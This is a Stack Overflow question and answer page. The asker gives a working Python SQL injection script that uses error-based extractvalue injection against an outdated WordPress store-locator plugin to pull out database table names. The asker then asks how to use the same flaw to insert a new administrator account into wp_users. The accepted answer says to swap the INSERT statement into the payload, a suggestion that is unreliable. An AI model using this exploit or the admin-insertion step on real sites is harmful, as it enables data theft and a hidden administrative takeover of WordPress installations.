Using Python for SQL Injection (WordPress)

Question

As an aspiring network security expert, I have been practicing performing SQL injections on my WordPress installation.

Specifically, I have chosen this vulnerability found in an outdated plugin.

So far I have been able to successfully extract database information using the following code:

import requests,re
url = 'http://localhost/wp-content/plugins/store-locator/sl-xml.php'

params = {
    "debug":"1",
    "mode":"gen",
    "sl_vars[num_initial_displayed]":"2,1 procedure analyse(extractvalue(rand(),concat(0x3a,(select concat(0x3a,table_name) from information_schema.tables limit 90,1))),1);"
}

r = requests.get(url, params=params)
print re.match(r"Invalid query: XPATH syntax error: ':([^']*)'", r.text).group(1)

Output: wp_users

My next experiment was to add an administrative account through this exploit, but I simply can not seem to figure out how to query it correctly.

These are the necessary parameters:

INSERT INTO `wp_users` (`user_login`, `user_pass`, `user_nicename`, `user_email`, `user_status`)
VALUES ('newadmin', MD5('pass123'), 'firstname lastname', '[email protected]', '0');

Is an 'insert' action even possible through this kind of attack method?

JCollerton · Accepted Answer · 2015-12-24 09:15:08Z

1

In params replace select concat(0x3a,table_name) from information_schema.tables limit 90 with your INSERT query.

answered Dec 24, 2015 at 9:15

JCollerton

3,3272 gold badges22 silver badges25 bronze badges

Sign up to request clarification or add additional context in comments.

Collectives™ on Stack Overflow

Using Python for SQL Injection (WordPress)

1 Answer 1

Comments

Your Answer

Hot Network Questions

Collectives™ on Stack Overflow

1 Answer 1

Comments

Your Answer

Sign up or log in

Post as a guest

Related